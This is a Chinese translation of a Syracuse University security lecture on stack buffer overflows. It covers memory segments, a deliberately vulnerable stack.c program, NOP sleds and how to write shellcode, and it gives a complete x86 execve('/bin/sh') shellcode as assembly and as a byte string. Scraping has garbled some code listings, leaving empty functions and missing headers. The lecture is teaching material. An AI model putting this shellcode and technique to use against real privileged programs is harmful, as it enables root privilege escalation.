雪城大學資訊保安講義 4 1 4 2

2021-09-20 12:15:32 字數 3587 閱讀 4416

原文:buffer-overflow vulnerabilities and attacks

譯者:飛龍

這個講義的「區域」(area)和「段」(segment)與多數教程正好相反,譯文中已更正。

在 pc 架構中,程式中有四個基本讀寫段:棧、資料、bss 和堆。資料、bss 以及堆區可統稱為「資料區域」。在「記憶體布局和棧」的教程中,peter jay salzman 詳細描述了記憶體布局。

資料區域

幀指標(fp):用於引用區域性變數和函式引數。這個指標儲存在暫存器中(例如 x86 中是ebp暫存器)。下面,我們使用$fp來表示fp暫存器的值。

緩衝區溢位問題:上面的程式擁有緩衝區溢位問題。

現在,讓我們來看乙個更複雜的程式。不像前面的程式,用於覆蓋返回位址的字串不是靜態字串,它通常由使用者提供。換句話說,使用者可以決定字串中包含什麼。

/* stack.c */

/* this program has a buffer overflow vulnerability. */

/* our task is to exploit this vulnerability */

#include

#include

#include

int func (char *str)

int main(int argc, char **ar**)

我們並不難以看到上面的程式擁有緩衝區溢位問題。這個程式首先從badfile檔案讀取輸入,之後將輸入傳遞給bof中另乙個緩衝區。原始輸入最大為 517 個位元組,但是bof中的緩衝區只有 12 個位元組。因為strcpy不檢查邊界,會發生緩衝區溢位。如果這個程式是 set-root-uid 程式,普通使用者就可以利用這個緩衝區溢位漏洞,並得到 root 許可權。

為了完全利用棧緩衝區溢位漏洞,我們需要解決幾個挑戰性的問題。

使用程式中的緩衝區溢位漏洞,我們可以輕易向執行的程式的記憶體中注入惡意**。讓我們假設惡意**已經編寫好了(我們會在稍後討論如何編寫惡意**)。

在上面的漏洞程式中,程式從檔案badfile讀取記憶體,並且將記憶體複製到buffer。之後,我們可以簡單將惡意**(二進位制形式)儲存在badfile中,漏洞程式會將惡意**複製到棧上的buffer(它會溢位buffer)。

提公升機率:為了提公升成功的機率,我們可以向惡意**的頂部新增許多 nop 指令。nop 是個特殊的指令,除了步進到下一條指令之外,不做任何事情。因此,只要猜測的位址指向了 nop 指令之一,攻擊就成功了。使用這些 nop,猜測指向惡意**的正確位址的機率就會顯著增加。

在前面的討論中,我們假設惡意**已經是可用的。這個章節中,我們會討論如何編寫這種惡意**。

如果我們可以讓特權程式執行我們的**,我們想要它執行什麼**呢?最強大的**就是呼叫 shell,所以我們可以在其中執行任何我們想要執行的**。目標為載入 shell 的程式就叫做 shellcode。為了了解如何編寫 shellcode,讓我們來看看下面的 c 程式:

#include 

int main( )

在我們將上面的程式編譯為二進位制**之後,我們可以在緩衝區溢位工集中,直接使用二進位制**作為 shellcode 嘛?事情並不是那麼容易。如果我們直接使用上面的**,就會有幾個問題:

為了解決第乙個問題,我們可以將字串/bin/sh壓入棧中,之後使用棧指標esp獲取字串位置。為了解決第二個問題,我們可以將包含 0 的指令轉換為另一條不包含 0 的指令,例如,為了將 0 儲存到暫存器中,我們可以使用 xor 指令,而不是直接將暫存器賦為 0。下面是個用組合語言編寫的 shellcode 的例子:

line 1: xorl %eax,%eax 

line 2: pushl %eax

# push 0 into stack (end of string)

line 3: pushl $0x68732f2f # push "//sh" into stack

line 4: pushl $0x6e69622f # push "/bin" into stack

line 5: movl %esp,%ebx

# %ebx = name[0]

line 6: pushl %eax

# name[1]

line 7: pushl %ebx

# name[0]

line 8: movl %esp,%ecx

# %ecx = name

line 9: cdq # %edx = 0

line 10: movb $0x0b,%al

line 11: int

$0x80

# invoke execve(name[0], name, 0)

shellcode 中的一些地方需要注意:

再者,execve系統呼叫在我們將%al設為 11 並執行int $0x80時呼叫。

如果我們將上面的**轉換為二進位制,並將其儲存在陣列中,我們就行可以在 c 程式中呼叫:

#include 

#include

const

char code =

"\x31\xc0"

/* line 1: xorl %eax,%eax */

"\x50"

/* line 2: pushl %eax */

"\x68"

"//sh"

/* line 3: pushl $0x68732f2f */

"\x68"

"/bin"

/* line 4: pushl $0x6e69622f */

"\x89\xe3"

/* line 5: movl %esp,%ebx */

"\x50"

/* line 6: pushl %eax */

"\x53"

/* line 7: pushl %ebx */

"\x89\xe1"

/* line 8: movl %esp,%ecx */

"\x99"

/* line 9: cdq */

"\xb0\x0b"

/* line 10: movb $0x0b,%al */

"\xcd\x80"

/* line 11: int $0x80 */ ;

int main(int argc, char **ar**)

上面main函式中的((void(*)( ))buf)( )語句會呼叫 shell,因為執行了 shellcode。

雪城大學資訊保安講義 二 Unix 安全概覽

原文 unix security basics 譯者 飛龍 使用者需要使用密碼登入。加密的密碼儲存在 etc shadow。使用者資訊儲存在 etc passwd,之前 不再 用於儲存密碼的地方。下面是這個檔案的乙個條目的示例 john x 30000 40000 john doe home joh...

雪城大學資訊保安講義 一 引言

原文 overview of computer security 譯者 飛龍 優秀的安全專業人員擁有兩個重要的技能 1 安全的感知,以及 2 安全原則的知識。我希望完成這門課的學生可以擁有二者。擁有不意味著 知道 它意味著能夠應用這些技能。配置計算機系統時的風險 開發計算機系統時的風險 安全的感知 ...

雪城大學資訊保安講義 3 4 最小許可權原則

最小許可權原則 最早由 saltzer 和 schroeder 提出 每個程式和系統使用者都應該具有完成任務所必需的最小許可權集合。限制 執行所需的安全許可權,有乙個非常重要的原因,就是降低你的 在被惡意使用者利用時,造成的損失。如果你的 僅僅使用最小許可權來執行,惡意使用者就難以使用它造成損失。如...